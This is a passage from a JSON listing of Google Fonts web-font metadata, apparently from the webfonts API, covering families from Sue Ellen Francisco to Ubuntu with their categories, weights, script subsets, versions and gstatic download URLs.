      "family": "Sue Ellen Francisco",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sueellenfrancisco/v10/wXK3E20CsoJ9j1DDkjHcQ5ZL8xRaxru9ropF2lqk9H4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Suez One",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "hebrew",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/suezone/v4/taiJGmd_EZ6rqscQgNFJkIqg-I0w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sulphur Point",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "300": "http://fonts.gstatic.com/s/sulphurpoint/v1/RLpkK5vv8KaycDcazWFPBj2afVU6n6kFUHPIFaU.ttf",
        "regular": "http://fonts.gstatic.com/s/sulphurpoint/v1/RLp5K5vv8KaycDcazWFPBj2aRfkSu6EuTHo.ttf",
        "700": "http://fonts.gstatic.com/s/sulphurpoint/v1/RLpkK5vv8KaycDcazWFPBj2afUU9n6kFUHPIFaU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sumana",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sumana/v4/4UaDrE5TqRBjGj-G8Bji76zR4w.ttf",
        "700": "http://fonts.gstatic.com/s/sumana/v4/4UaArE5TqRBjGj--TDfG54fN6ppsKg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sunflower",
      "category": "sans-serif",
      "variants": [
        "300",
        "500",
        "700"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-06MfiqYsGBGBzCw.ttf",
        "500": "http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-0sMbiqYsGBGBzCw.ttf",
        "700": "http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-0-MDiqYsGBGBzCw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sunshiney",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sunshiney/v10/LDIwapGTLBwsS-wT4vcgE8moUePWkg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Supermercado One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/supermercadoone/v9/OpNXnpQWg8jc_xps_Gi14kVVEXOn60b3MClBRTs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sura",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sura/v4/SZc23FL5PbyzFf5UWzXtjUM.ttf",
        "700": "http://fonts.gstatic.com/s/sura/v4/SZc53FL5PbyzLUJ7fz3GkUrS8DI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Suranna",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/suranna/v7/gokuH6ztGkFjWe58tBRZT2KmgP0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Suravaram",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/suravaram/v6/_gP61R_usiY7SCym4xIAi261Qv9roQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Suwannaphum",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/suwannaphum/v13/jAnCgHV7GtDvc8jbe8hXXIWl_8C0Wg2V.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Swanky and Moo Moo",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/swankyandmoomoo/v9/flUlRrKz24IuWVI_WJYTYcqbEsMUZ3kUtbPkR64SYQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Syncopate",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/syncopate/v11/pe0sMIuPIYBCpEV5eFdyAv2-C99ycg.ttf",
        "700": "http://fonts.gstatic.com/s/syncopate/v11/pe0pMIuPIYBCpEV5eFdKvtKaA_Rue1UwVg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Tajawal",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "arabic",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l_6gLrZjiLlJ-G0.ttf",
        "300": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l5qjLrZjiLlJ-G0.ttf",
        "regular": "http://fonts.gstatic.com/s/tajawal/v3/Iura6YBj_oCad4k1rzaLCr5IlLA.ttf",
        "500": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l8KiLrZjiLlJ-G0.ttf",
        "700": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l4qkLrZjiLlJ-G0.ttf",
        "800": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l5anLrZjiLlJ-G0.ttf",
        "900": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l7KmLrZjiLlJ-G0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Tangerine",
      "category": "handwriting",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/tangerine/v11/IurY6Y5j_oScZZow4VOBDpxNhLBQ4Q.ttf",
        "700": "http://fonts.gstatic.com/s/tangerine/v11/Iurd6Y5j_oScZZow4VO5srNpjJtM6G0t9w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Taprom",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/taprom/v11/UcCn3F82JHycULbFQyk3-0kvHg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Tauri",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/tauri/v8/TwMA-IISS0AM3IpVWHU_TBqO.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Taviraj",
      "category": "serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/taviraj/v5/ahcbv8Cj3ylylTXzRIorV8N1jU2gog.ttf",
        "100italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcdv8Cj3ylylTXzTOwTM8lxr0iwolLl.ttf",
        "200": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRCYKd-lbgUS5u0s.ttf",
        "200italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwTn-hRhWa8q0v8ag.ttf",
        "300": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzREIJd-lbgUS5u0s.ttf",
        "300italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwT--tRhWa8q0v8ag.ttf",
        "regular": "http://fonts.gstatic.com/s/taviraj/v5/ahcZv8Cj3ylylTXzfO4hU-FwnU0.ttf",
        "italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcbv8Cj3ylylTXzTOwrV8N1jU2gog.ttf",
        "500": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRBoId-lbgUS5u0s.ttf",
        "500italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwTo-pRhWa8q0v8ag.ttf",
        "600": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRDYPd-lbgUS5u0s.ttf",
        "600italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwTj-1RhWa8q0v8ag.ttf",
        "700": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRFIOd-lbgUS5u0s.ttf",
        "700italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwT6-xRhWa8q0v8ag.ttf",
        "800": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRE4Nd-lbgUS5u0s.ttf",
        "800italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwT9-9RhWa8q0v8ag.ttf",
        "900": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRGoMd-lbgUS5u0s.ttf",
        "900italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwT0-5RhWa8q0v8ag.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Teko",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "300": "http://fonts.gstatic.com/s/teko/v9/LYjCdG7kmE0gdQhfgCNqqVIuTN4.ttf",
        "regular": "http://fonts.gstatic.com/s/teko/v9/LYjNdG7kmE0gTaR3pCtBtVs.ttf",
        "500": "http://fonts.gstatic.com/s/teko/v9/LYjCdG7kmE0gdVBegCNqqVIuTN4.ttf",
        "600": "http://fonts.gstatic.com/s/teko/v9/LYjCdG7kmE0gdXxZgCNqqVIuTN4.ttf",
        "700": "http://fonts.gstatic.com/s/teko/v9/LYjCdG7kmE0gdRhYgCNqqVIuTN4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Telex",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/telex/v8/ieVw2Y1fKWmIO9fTB1piKFIf.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Tenali Ramakrishna",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/tenaliramakrishna/v6/raxgHj6Yt9gAN3LLKs0BZVMo8jmwn1-8KJXqUFFvtA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Tenor Sans",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/tenorsans/v11/bx6ANxqUneKx06UkIXISr3JyC22IyqI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Text Me One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/textmeone/v7/i7dOIFdlayuLUvgoFvHQFWZcalayGhyV.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Thasadith",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/thasadith/v3/mtG44_1TIqPYrd_f5R1YsEkU0CWuFw.ttf",
        "italic": "http://fonts.gstatic.com/s/thasadith/v3/mtG-4_1TIqPYrd_f5R1oskMQ8iC-F1ZE.ttf",
        "700": "http://fonts.gstatic.com/s/thasadith/v3/mtG94_1TIqPYrd_f5R1gDGYw2A6yHk9d8w.ttf",
        "700italic": "http://fonts.gstatic.com/s/thasadith/v3/mtGj4_1TIqPYrd_f5R1osnus3QS2PEpN8zxA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "The Girl Next Door",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/thegirlnextdoor/v10/pe0zMJCIMIsBjFxqYBIcZ6_OI5oFHCYIV7t7w6bE2A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Tienne",
      "category": "serif",
      "variants": [
        "regular",
        "700",
        "900"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/tienne/v12/AYCKpX7pe9YCRP0LkEPHSFNyxw.ttf",
        "700": "http://fonts.gstatic.com/s/tienne/v12/AYCJpX7pe9YCRP0zLGzjQHhuzvef5Q.ttf",
        "900": "http://fonts.gstatic.com/s/tienne/v12/AYCJpX7pe9YCRP0zFG7jQHhuzvef5Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Tillana",
      "category": "handwriting",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/tillana/v5/VuJxdNvf35P4qJ1OeKbXOIFneRo.ttf",
        "500": "http://fonts.gstatic.com/s/tillana/v5/VuJ0dNvf35P4qJ1OQFL-HIlMZRNcp0o.ttf",
        "600": "http://fonts.gstatic.com/s/tillana/v5/VuJ0dNvf35P4qJ1OQH75HIlMZRNcp0o.ttf",
        "700": "http://fonts.gstatic.com/s/tillana/v5/VuJ0dNvf35P4qJ1OQBr4HIlMZRNcp0o.ttf",
        "800": "http://fonts.gstatic.com/s/tillana/v5/VuJ0dNvf35P4qJ1OQAb7HIlMZRNcp0o.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Timmana",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/timmana/v4/6xKvdShfL9yK-rvpCmvbKHwJUOM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Tinos",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "hebrew",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/tinos/v13/buE4poGnedXvwgX8dGVh8TI-.ttf",
        "italic": "http://fonts.gstatic.com/s/tinos/v13/buE2poGnedXvwjX-fmFD9CI-4NU.ttf",
        "700": "http://fonts.gstatic.com/s/tinos/v13/buE1poGnedXvwj1AW0Fp2i43-cxL.ttf",
        "700italic": "http://fonts.gstatic.com/s/tinos/v13/buEzpoGnedXvwjX-Rt1s0CoV_NxLeiw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Titan One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/titanone/v7/mFTzWbsGxbbS_J5cQcjykzIn2Etikg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Titillium Web",
      "category": "sans-serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "900"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-22",
      "files": {
        "200": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffAzHKIx5YrSYqWM.ttf",
        "200italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPFcZTIAOhVxoMyOr9n_E7fdMbewI1zZpaduWMmxA.ttf",
        "300": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffGjEKIx5YrSYqWM.ttf",
        "300italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPFcZTIAOhVxoMyOr9n_E7fdMbepI5zZpaduWMmxA.ttf",
        "regular": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPecZTIAOhVxoMyOr9n_E7fRMTsDIRSfr0.ttf",
        "italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPAcZTIAOhVxoMyOr9n_E7fdMbmCKZXbr2BsA.ttf",
        "600": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffBzCKIx5YrSYqWM.ttf",
        "600italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPFcZTIAOhVxoMyOr9n_E7fdMbe0IhzZpaduWMmxA.ttf",
        "700": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffHjDKIx5YrSYqWM.ttf",
        "700italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPFcZTIAOhVxoMyOr9n_E7fdMbetIlzZpaduWMmxA.ttf",
        "900": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffEDBKIx5YrSYqWM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Tomorrow",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v2",
      "lastModified": "2020-03-03",
      "files": {
        "100": "http://fonts.gstatic.com/s/tomorrow/v2/WBLgrETNbFtZCeGqgR2xe2XiKMiokE4.ttf",
        "100italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLirETNbFtZCeGqgRXXQwHoLOqtgE5h0A.ttf",
        "200": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR0dWkXIBsShiVd4.ttf",
        "200italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ63JDMCDjEd4yVY.ttf",
        "300": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR15WUXIBsShiVd4.ttf",
        "300italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ8nKDMCDjEd4yVY.ttf",
        "regular": "http://fonts.gstatic.com/s/tomorrow/v2/WBLmrETNbFtZCeGqgSXVcWHALdio.ttf",
        "italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLgrETNbFtZCeGqgRXXe2XiKMiokE4.ttf",
        "500": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR0hWEXIBsShiVd4.ttf",
        "500italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ5HLDMCDjEd4yVY.ttf",
        "600": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR0NX0XIBsShiVd4.ttf",
        "600italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ73MDMCDjEd4yVY.ttf",
        "700": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR1pXkXIBsShiVd4.ttf",
        "700italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ9nNDMCDjEd4yVY.ttf",
        "800": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR11XUXIBsShiVd4.ttf",
        "800italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ8XODMCDjEd4yVY.ttf",
        "900": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR1RXEXIBsShiVd4.ttf",
        "900italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ-HPDMCDjEd4yVY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Trade Winds",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/tradewinds/v8/AYCPpXPpYNIIT7h8-QenM3Jq7PKP5Z_G.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Trirong",
      "category": "serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/trirong/v5/7r3EqXNgp8wxdOdOl-go3YRl6ujngw.ttf",
        "100italic": "http://fonts.gstatic.com/s/trirong/v5/7r3CqXNgp8wxdOdOn44QuY5hyO33g8IY.ttf",
        "200": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOl0QJ_a5L5uH-mts.ttf",
        "200italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QFa9B4sP7itsB5g.ttf",
        "300": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOlyAK_a5L5uH-mts.ttf",
        "300italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QcaxB4sP7itsB5g.ttf",
        "regular": "http://fonts.gstatic.com/s/trirong/v5/7r3GqXNgp8wxdOdOr4wi2aZg-ug.ttf",
        "italic": "http://fonts.gstatic.com/s/trirong/v5/7r3EqXNgp8wxdOdOn44o3YRl6ujngw.ttf",
        "500": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOl3gL_a5L5uH-mts.ttf",
        "500italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QKa1B4sP7itsB5g.ttf",
        "600": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOl1QM_a5L5uH-mts.ttf",
        "600italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QBapB4sP7itsB5g.ttf",
        "700": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOlzAN_a5L5uH-mts.ttf",
        "700italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QYatB4sP7itsB5g.ttf",
        "800": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOlywO_a5L5uH-mts.ttf",
        "800italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QfahB4sP7itsB5g.ttf",
        "900": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOlwgP_a5L5uH-mts.ttf",
        "900italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QWalB4sP7itsB5g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Trocchi",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/trocchi/v8/qWcqB6WkuIDxDZLcDrtUvMeTYD0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Trochut",
      "category": "display",
      "variants": [
        "regular",
        "italic",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/trochut/v7/CHyjV-fDDlP9bDIw5nSIfVIPLns.ttf",
        "italic": "http://fonts.gstatic.com/s/trochut/v7/CHyhV-fDDlP9bDIw1naCeXAKPns8jw.ttf",
        "700": "http://fonts.gstatic.com/s/trochut/v7/CHymV-fDDlP9bDIw3sinWVokMnIllmA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Trykker",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/trykker/v8/KtktALyWZJXudUPzhNnoOd2j22U.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Tulpen One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/tulpenone/v9/dFa6ZfeC474skLgesc0CWj0w_HyIRlE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Turret Road",
      "category": "display",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "700",
        "800"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "200": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0ONEdeLYk1Mq3ap.ttf",
        "300": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0PpEteLYk1Mq3ap.ttf",
        "regular": "http://fonts.gstatic.com/s/turretroad/v1/pxiAypMgpcBFjE84Zv-fE3tFOvODSVFF.ttf",
        "500": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0OxE9eLYk1Mq3ap.ttf",
        "700": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0P5FdeLYk1Mq3ap.ttf",
        "800": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0PlFteLYk1Mq3ap.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ubuntu",
      "category": "sans-serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2019-07-22",
      "files": {
        "300": "http://fonts.gstatic.com/s/ubuntu/v14/4iCv6KVjbNBYlgoC1CzTt2aMH4V_gg.ttf",
        "300italic": "http://fonts.gstatic.com/s/ubuntu/v14/4iCp6KVjbNBYlgoKejZftWyIPYBvgpUI.ttf",
        "regular": "http://fonts.gstatic.com/s/ubuntu/v14/4iCs6KVjbNBYlgo6eAT3v02QFg.ttf",
        "italic": "http://fonts.gstatic.com/s/ubuntu/v14/4iCu6KVjbNBYlgoKeg7znUiAFpxm.ttf",
        "500": "http://fonts.gstatic.com/s/ubuntu/v14/4iCv6KVjbNBYlgoCjC3Tt2aMH4V_gg.ttf",
        "500italic": "http://fonts.gstatic.com/s/ubuntu/v14/4iCp6KVjbNBYlgoKejYHtGyIPYBvgpUI.ttf",
